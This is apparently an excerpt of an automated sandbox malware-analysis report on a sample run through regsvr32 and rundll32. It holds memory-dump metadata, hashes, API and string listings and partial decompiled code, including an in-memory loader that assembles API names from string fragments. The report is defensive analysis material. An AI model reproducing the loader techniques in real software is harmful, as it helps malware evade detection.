0x00408a46
0x00408a5d

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f90a0e0a1984a676821f25d3942f1c08a59d12c6e508d95ab2bfabae2a3f2ef7
Instruction ID: c6bfe31883911dbefdde13724386debbd20db523a29e0c5d3f24d473081d97e5
Opcode Fuzzy Hash: f90a0e0a1984a676821f25d3942f1c08a59d12c6e508d95ab2bfabae2a3f2ef7
Instruction Fuzzy Hash: 11416DA3705A9489DB15DF2AC9402AD3B60F784F98F49412BEE8E67794DF38C986C704

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002C78 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab1c614082465e9adf873fcd8bb0e59269149d5aae34c8c546b648bb5ab83c2f
Instruction ID: 4343715d12969ab3ee894d62b19d7778599b32710e3746752891e5683c76f436
Opcode Fuzzy Hash: ab1c614082465e9adf873fcd8bb0e59269149d5aae34c8c546b648bb5ab83c2f
Instruction Fuzzy Hash: F361D37051878CCBEBBADF24C8997D97BB0FB58304F90861DD84E8A290DB785749CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B83C Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c06dbbd4d7f5d8b5a7dc781beb13b4593c6bbd5bd7959e7c7b22318daacb787
Instruction ID: dbbd64b57222b1add07210cc52c38543266a51749770b15bad5814690ae0cdbe
Opcode Fuzzy Hash: 7c06dbbd4d7f5d8b5a7dc781beb13b4593c6bbd5bd7959e7c7b22318daacb787
Instruction Fuzzy Hash: E251287090474D9BDB48CF68C8895DEBBF1FB48358F11835CE88AA72A0D7B89A44CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800090F8 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef86ec4cbab15db66684acca6e4eefc0d9a17a46b067acd768dfc4f73c7d9e5d
Instruction ID: 21cac9e0c35634e11db709f5bab16137873c74ed12c57d37e9b7909e1441bcf2
Opcode Fuzzy Hash: ef86ec4cbab15db66684acca6e4eefc0d9a17a46b067acd768dfc4f73c7d9e5d
Instruction Fuzzy Hash: 6151B2B090474E8FDB48CF68D48A5DE7FB0FB68398F204619E81596290D7B4D6A5CFC0

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015CC4 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c42ee451b46e72c4fc1e7808b655d0298a624ad59252fa9ca8600e6c0870c205
Instruction ID: 6b54a862c46497fa0ba4126fbb91924a495d1a5e5030368f266ba1909067be1d
Opcode Fuzzy Hash: c42ee451b46e72c4fc1e7808b655d0298a624ad59252fa9ca8600e6c0870c205
Instruction Fuzzy Hash: 7651A4B090438E8FDB88CF68D88A5CE7BF0FB58358F105619F865A6250D3B8D664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025450 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1190db60a81a9605ea1e1068c6cf6b0ac0731fea71818b2d4916113a12896c76
Instruction ID: 99ad5768b8328a7470901f0161363f069166e406932fc3a26352a402ff3e111c
Opcode Fuzzy Hash: 1190db60a81a9605ea1e1068c6cf6b0ac0731fea71818b2d4916113a12896c76
Instruction Fuzzy Hash: E3519EB490438E8FDB48CF68C88A5DF7BB1FB58348F004A19F825A6250D3B8D665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CC84 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4555d26f65456cde840fc2f4c666a8d56836cf0868c008055827d07d980c0c85
Instruction ID: 40fec480261543be86ee567c64a3a62857f12f337dba58b4bf7609b68a1e5940
Opcode Fuzzy Hash: 4555d26f65456cde840fc2f4c666a8d56836cf0868c008055827d07d980c0c85
Instruction Fuzzy Hash: 3341C3B090074E8FDB48DF64C48A5DE7FB0FB68388F104619E81AA6250D378D6A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018E08 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c10850e5aad6035b7c653bd038702d00eaf44d126db54c4afb070697268a84b7
Instruction ID: 94530190857246227a2d58e3e0328d0155328210690a2906ab48eeedf9149e92
Opcode Fuzzy Hash: c10850e5aad6035b7c653bd038702d00eaf44d126db54c4afb070697268a84b7
Instruction Fuzzy Hash: 6F316BB450C7848BD348DF28C54A51ABBE1BB8D309F404B5DF8CAAA350D778D645CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014F18 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e4f8c6961830c2999d6eeb971ae1af8b285e4c3e03ac2b8ccc937218d98cd8c
Instruction ID: 40b335f3024de6da74d38520116966a77998ea96cf28579eb351379a363cda22
Opcode Fuzzy Hash: 7e4f8c6961830c2999d6eeb971ae1af8b285e4c3e03ac2b8ccc937218d98cd8c
Instruction Fuzzy Hash: C92180B0628380AFD388DF28C58A81ABBF0FBC9304F806A1DF88687360D375D455CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800115C8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24c80f67c0cf67d3e4f17bf6c28471f3205e297e607f84552853f2cb091547ec
Instruction ID: af12a2a4ce847e432fa8fd683b1bc23ee589c26aa88b95d6604f629db1e27a67
Opcode Fuzzy Hash: 24c80f67c0cf67d3e4f17bf6c28471f3205e297e607f84552853f2cb091547ec
Instruction Fuzzy Hash: 042148B451C7858BD349DF28C48941ABBE0BB8C31CF801B2DF4CAAA264D378D645CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 004040E5 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7163263372a918abb6689949eb8af1edeb85cee3b406012d9f14e47f357ef470
Instruction ID: b74ceae7d8aa587d575a106654cddb752f1dddfe0913d86c1841a97c32432346
Opcode Fuzzy Hash: 7163263372a918abb6689949eb8af1edeb85cee3b406012d9f14e47f357ef470
Instruction Fuzzy Hash: F3C0125AA0F2C51DDA0759391C250687B390983FE4B4923567AA4633C2DA55D0564109

Uniqueness

Uniqueness Score: -1.00%

Function 00410D65 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f89e56af4b777ece66872a6453dee215bb6811a2a60cc00adcfacbf0073d68b
Instruction ID: c6f2e5659e0f6f9faddedcb3524cd87fc8da4051b6f46230d6a85ee7860ff4d3
Opcode Fuzzy Hash: 6f89e56af4b777ece66872a6453dee215bb6811a2a60cc00adcfacbf0073d68b
Instruction Fuzzy Hash: 7EC0121EA0F2C90DDA066A391C260687F390883B84B4E61966A4863392CA58E05A8619

Uniqueness

Uniqueness Score: -1.00%

Function 00440060 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00440060(signed int __ebx, void* __edx, long long __rax, intOrPtr* __rcx, void* __r8) {
				void* _v40;
				signed int _t42;
				signed int _t44;
				signed int _t46;
				signed int _t48;
				signed int _t50;
				signed int _t51;
				void* _t65;
				signed int _t66;
				void* _t72;
				long long _t84;
				intOrPtr* _t97;

				_t84 = __rax;
				_t42 = __ebx;
				_t65 = __edx;
				_t97 = __rcx;
				_t2 = _t97 + 0x38; // 0x4508d9
				_t86 =  *_t2;
				if( *_t2 != 0) {
					E00432710();
				}
				 *((long long*)(_t97 + 0x38)) = 0;
				r14d = _t65;
				_t66 = 1;
				if((r14b & 0x00000004) == 0) {
					L6:
					if((r14b & 0x00000020) != 0) {
						goto L12;
					} else {
						goto L7;
					}
				} else {
					E00432700();
					 *((long long*)(_t97 + 0x18)) = _t84;
					if(_t84 == 0) {
						L30:
						SetLastError();
						goto L31;
					} else {
						_t7 = _t97 + 4; // 0x100000000
						_t51 = E00440610(_t42,  *_t7, _t72, _t84, _t84);
						_t76 = _t51;
						if(_t51 == 0) {
							_t66 = 0;
							__eflags = r14b & 0x00000020;
							if((r14b & 0x00000020) == 0) {
								L7:
								if((r14b & 0x00000010) != 0) {
									goto L15;
								} else {
									goto L8;
								}
							} else {
								L12:
								E00432700();
								 *((long long*)(_t97 + 0x30)) = _t84;
								__eflags = _t84;
								if(_t84 == 0) {
									goto L30;
								} else {
									_t19 = _t97 + 4; // 0x100000000
									_t44 = E00440BD0( *_t19, _t84, _t84) * _t66;
									__eflags = _t44;
									if(__eflags == 0) {
										_t66 = 0;
										__eflags = r14b & 0x00000010;
										if((r14b & 0x00000010) != 0) {
											goto L15;
										} else {
											goto L8;
										}
									} else {
										_t86 = _t97;
										_t66 = E0043FC60(__eflags, _t84, _t97, "LC_TIME") * _t44;
										__eflags = r14b & 0x00000010;
										if((r14b & 0x00000010) == 0) {
											L8:
											if((r14b & 0x00000001) != 0) {
												goto L22;
											} else {
												goto L9;
											}
										} else {
											L15:
											E00432700();
											 *((long long*)(_t97 + 0x20)) = _t84;
											__eflags = _t84;
											if(_t84 == 0) {
												goto L30;
											} else {
												_t23 = _t97 + 4; // 0x100000000
												_t46 = E00441BA0( *_t23, _t66, _t84, _t84) * _t66;
												__eflags = _t46;
												if(__eflags == 0) {
													_t66 = 0;
													__eflags = r14b & 0x00000001;
													if((r14b & 0x00000001) == 0) {
														goto L9;
													} else {
														goto L22;
													}
												} else {
													_t86 = _t97;
													_t66 = E0043FC60(__eflags, _t84, _t97, "LC_NUMERIC") * _t46;
													__eflags = r14b & 0x00000001;
													if((r14b & 0x00000001) != 0) {
														L22:
														E00432700();
														 *((long long*)(_t97 + 0x28)) = _t84;
														__eflags = _t84;
														if(_t84 == 0) {
															goto L30;
														} else {
															_t50 = E00441D90() * _t66;
															__eflags = _t50;
															if(__eflags == 0) {
																_t66 = 0;
																__eflags = r14b & 0x00000002;
																if((r14b & 0x00000002) != 0) {
																	goto L27;
																}
															} else {
																_t86 = _t97;
																_t66 = E0043FC60(__eflags, _t84, _t97, "LC_COLLATE") * _t50;
																__eflags = r14b & 0x00000002;
																if((r14b & 0x00000002) != 0) {
																	goto L27;
																} else {
																}
															}
														}
													} else {
														L9:
														if((r14b & 0x00000002) != 0) {
															L27:
															E00432700();
															 *((long long*)(_t97 + 0x10)) = _t84;
															if(_t84 == 0) {
																goto L30;
															} else {
																_t37 = _t97 + 4; // 0x100000000
																_t48 = E00440420(_t39,  *_t37,  *_t97, _t84, _t86, _t84) * _t66;
																_t83 = _t48;
																if(_t48 == 0) {
																	L31:
																	_t66 = 0;
																	__eflags = 0;
																} else {
																	_t66 = E0043FC60(_t83, _t84, _t97, "LC_CTYPE") * _t48;
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						} else {
							_t86 = _t97;
							_t66 = E0043FC60(_t76, _t84, _t97, "LC_MONETARY") * _t51;
							goto L6;
						}
					}
				}
				return _t66;
			}

0x00440060
0x00440060
0x0044006f
0x00440071
0x00440074
0x00440074
0x0044007b
0x0044007d
0x0044007d
0x00440082
0x0044008a
0x0044008e
0x00440097
0x004400d5
0x004400d9
0x00000000
0x00000000
0x00000000
0x00000000
0x00440099
0x0044009e
0x004400a3
0x004400aa
0x00440234
0x00440239
0x00000000
0x004400b0
0x004400b0
0x004400bb
0x004400bd
0x004400bf
0x004400fa
0x004400fc
0x00440100
0x004400db
0x004400df
0x00000000
0x00000000
0x00000000
0x00000000
0x00440102
0x00440102
0x00440107
0x0044010c
0x00440110
0x00440113
0x00000000
0x00440119
0x00440119
0x00440126
0x00440129
0x0044012b
0x00440191
0x00440193
0x00440197
0x00000000
0x00440199
0x00000000
0x00440199
0x0044012d
0x00440134
0x0044013e
0x00440141
0x00440145
0x004400e1
0x004400e5
0x00000000
0x00000000
0x00000000
0x00000000
0x00440147
0x00440147
0x0044014c
0x00440151
0x00440155
0x00440158
0x00000000
0x0044015e
0x0044015e
0x0044016b
0x0044016e
0x00440170
0x0044019e
0x004401a0
0x004401a4
0x00000000
0x00000000
0x00000000
0x00000000
0x00440172
0x00440179
0x00440183
0x00440186
0x0044018a
0x004401aa
0x004401af
0x004401b4
0x004401b8
0x004401bb
0x00000000
0x004401bd
0x004401ca
0x004401cd
0x004401cf
0x004401ed
0x004401ef
0x004401f3
0x00000000
0x00000000
0x004401d1
0x004401d8
0x004401e2
0x004401e5
0x004401e9
0x00000000
0x00000000
0x004401eb
0x004401e9
0x004401cf
0x0044018c
0x004400eb
0x004400ef
0x004401f5
0x004401fa
0x004401ff
0x00440206
0x00000000
0x00440208
0x0044020a
0x00440217
0x0044021a
0x0044021c
0x0044023e
0x0044023e
0x0044023e
0x0044021e
0x0044022f
0x0044022f
0x0044021c
0x00440206
0x004400ef
0x0044018a
0x00440170
0x00440158
0x00440145
0x0044012b
0x00440113
0x004400c1
0x004400c8
0x004400d2
0x00000000
0x004400d2
0x004400bf
0x004400aa
0x0044024c

APIs

SetLastError.KERNEL32(00000000,000000FF,?,0043F6E2), ref: 00440239

Strings

LC_NUMERIC, xrefs: 00440172
LC_TIME, xrefs: 0044012D
LC_CTYPE, xrefs: 0044021E
LC_MONETARY, xrefs: 004400C1
LC_COLLATE, xrefs: 004401D1

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: ErrorLast
String ID: LC_COLLATE$LC_CTYPE$LC_MONETARY$LC_NUMERIC$LC_TIME
API String ID: 1452528299-3565537734
Opcode ID: 2d93d5da73cf9f895600662845317f39d379a65dcd3bba410ccb737099280003
Instruction ID: 9079dba76448049dddc05231fa5a5027756c75fdbc88e4d7ff304db108c218e4
Opcode Fuzzy Hash: 2d93d5da73cf9f895600662845317f39d379a65dcd3bba410ccb737099280003
Instruction Fuzzy Hash: BF41C637300B0547FF29D796A19A72B6696AB88744F04602B8F4A0B7A1DFBDDC52860C

Uniqueness

Uniqueness Score: -1.00%

Function 0044CEA0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(?,?,?,?,?,00404796), ref: 0044CED5
RaiseException.KERNEL32(?,?,?,?,?,00430D35,00000010,00000000,?,00404344,00000010,?,?,00427082,00000000), ref: 0044CEEB

Strings

unwind.cpp, xrefs: 0044CFF3
false, xrefs: 0044CFEC

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: ExceptionRaise
String ID: false$unwind.cpp
API String ID: 3997070919-1299990386
Opcode ID: e07621a2966c331ec6f54953a315ab7505b2158bc07b6ab20b0dcae9447dd56f
Instruction ID: 944a767c56f151677f4406134c8d28b3834d43a278d56f37c244ae87aa65460d
Opcode Fuzzy Hash: e07621a2966c331ec6f54953a315ab7505b2158bc07b6ab20b0dcae9447dd56f
Instruction Fuzzy Hash: 12012E36B10944DBE714EBA6C4857AC3B72EBC8788F19811AEA0E03760EF39D542C718

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 4616, Parent PID: 2940COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	16.4%
Signature Coverage:	0%
Total number of Nodes:	146
Total number of Limit Nodes:	3

Executed Functions

Function 000001B9186F0000 Relevance: 53.5, APIs: 4, Strings: 26, Instructions: 953
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE ref: 000001B9186F0344
VirtualAlloc.KERNELBASE ref: 000001B9186F038A
VirtualProtect.KERNELBASE ref: 000001B9186F085C
RtlAddFunctionTable.KERNEL32 ref: 000001B9186F08E9

Strings

tion, xrefs: 000001B9186F00F9
Flus, xrefs: 000001B9186F00E4
hIns, xrefs: 000001B9186F00EB
ualP, xrefs: 000001B9186F00CD
ualA, xrefs: 000001B9186F00B5
rote, xrefs: 000001B9186F00D5
Virt, xrefs: 000001B9186F00C5
GetN, xrefs: 000001B9186F0107
ct, xrefs: 000001B9186F00DD
nf, xrefs: 000001B9186F0127
truc, xrefs: 000001B9186F00F2
aryA, xrefs: 000001B9186F00A5
Load, xrefs: 000001B9186F0095
RtlA, xrefs: 000001B9186F0133
temI, xrefs: 000001B9186F011F
Slee, xrefs: 000001B9186F0084
Cach, xrefs: 000001B9186F0100
eSys, xrefs: 000001B9186F0117
Virt, xrefs: 000001B9186F00AD
o, xrefs: 000001B9186F012E
onTa, xrefs: 000001B9186F0148
ativ, xrefs: 000001B9186F010F
Libr, xrefs: 000001B9186F009D
lloc, xrefs: 000001B9186F00BD
ncti, xrefs: 000001B9186F0141
ddFu, xrefs: 000001B9186F013A

Memory Dump Source

Source File: 00000004.00000002.859667979.000001B9186F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B9186F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1b9186f0000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFunctionInfoNativeProtectSystemTable
String ID: Cach$Flus$GetN$Libr$Load$RtlA$Slee$Virt$Virt$aryA$ativ$ct$ddFu$eSys$hIns$lloc$ncti$nf$o$onTa$rote$temI$tion$truc$ualA$ualP
API String ID: 998211078-3605381585
Opcode ID: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction ID: fb50dbbcd85eb358ca030110093dee4802470bfd9ae037b7da28d80ce253659e
Opcode Fuzzy Hash: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction Fuzzy Hash: 4A620530618B098BEB29DF18C8D57BAB7E1FB54314F14462DE98BCB251DB34E442DB86

Uniqueness

Uniqueness Score: -1.00%

Function 0043F160 Relevance: 45.9, APIs: 17, Strings: 9, Instructions: 387
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0043F160(signed int __ebx, intOrPtr __ecx, void* __edi, intOrPtr* __rax, signed char* __rdx, void* __r8, void* __r9, void* __r11) {
				void* __r15;
				int _t55;
				intOrPtr _t59;
				void* _t64;
				int _t66;
				int _t70;
				int _t72;
				void* _t74;
				signed int _t92;
				signed int _t108;
				int _t111;
				intOrPtr* _t129;
				int _t130;
				intOrPtr _t132;
				intOrPtr _t134;
				intOrPtr* _t136;
				long long _t139;
				intOrPtr _t140;
				intOrPtr _t148;
				intOrPtr _t149;
				intOrPtr _t151;
				intOrPtr _t152;
				int _t153;
				intOrPtr* _t155;
				intOrPtr _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				intOrPtr _t168;
				intOrPtr _t182;
				intOrPtr _t183;
				void* _t208;
				intOrPtr* _t210;
				signed char* _t211;
				void* _t212;
				void* _t213;
				void* _t214;
				void* _t215;
				void* _t216;
				void* _t217;
				void* _t218;
				char* _t219;

				_t216 = __r11;
				_t215 = __r9;
				_t214 = __r8;
				_t188 = __rdx;
				_t129 = __rax;
				_t82 = __ecx;
				_t76 = __ebx;
				_t212 = _t213 + 0x80;
				asm("movaps [ebp+0x1b0], xmm6");
				_t211 = __rdx;
				r14d = __ecx;
				r15d = 0;
				_t112 = __rdx;
				if(__rdx == 0) {
					__eflags = 0;
				} else {
					_t48 = L00436EF0(__edi, _t112, __rax, __rdx);
					_t210 = _t129;
				}
				EnterCriticalSection();
				_t130 =  *0x45f040; // 0x45eff8
				if(_t130 == 0 || _t130 == 0x45eff8) {
					r15d = 0;
					_t76 = _t76 & 0xffffff00 | _t130 == 0x0045eff8;
					_t82 = 1;
					E004326F0();
					 *0x45f040 = _t130;
					if(_t130 == 0) {
						L0044D430();
						E00432710();
						goto L64;
					} else {
						r15b = _t76;
						goto L7;
					}
				} else {
					L7:
					if( *((intOrPtr*)(_t130 + 0x38)) != 0) {
						E00432710();
						_t130 =  *0x45f040; // 0x45eff8
						 *((long long*)(_t130 + 0x38)) = 0;
					}
					if(_t210 == 0) {
						__eflags = r15d;
						if(r15d == 0) {
							__eflags = sil & 0x00000004;
							if(__eflags != 0) {
								E0043FC60(__eflags, _t130, _t130, "LC_MONETARY");
								__eflags = sil & 0x00000010;
								if(__eflags == 0) {
									L21:
									__eflags = sil & 0x00000020;
									if(__eflags != 0) {
										L27:
										_t148 =  *0x45f040; // 0x45eff8
										E0043FC60(__eflags, _t130, _t148, "LC_TIME");
										__eflags = sil & 0x00000001;
										if(__eflags == 0) {
											L23:
											__eflags = sil & 0x00000002;
											if(__eflags != 0) {
												L29:
												_t149 =  *0x45f040; // 0x45eff8
												E0043FC60(__eflags, _t130, _t149, "LC_CTYPE");
												goto L56;
											}
											goto L56;
										}
										L28:
										_t151 =  *0x45f040; // 0x45eff8
										E0043FC60(__eflags, _t130, _t151, "LC_COLLATE");
										__eflags = sil & 0x00000002;
										if(__eflags == 0) {
											goto L56;
										}
										goto L29;
									}
									L22:
									__eflags = sil & 0x00000001;
									if(__eflags != 0) {
										goto L28;
									}
									goto L23;
								}
								L26:
								_t152 =  *0x45f040; // 0x45eff8
								E0043FC60(__eflags, _t130, _t152, "LC_NUMERIC");
								__eflags = sil & 0x00000020;
								if(__eflags == 0) {
									goto L22;
								}
								goto L27;
							}
							__eflags = sil & 0x00000010;
							if(__eflags != 0) {
								goto L26;
							}
							goto L21;
						}
						_t153 = _t130;
						goto L51;
					} else {
						if( *_t210 == 0) {
							L0044D360();
							_t111 = _t48;
							r9d = 7;
							_t214 = _t212 - 0x60;
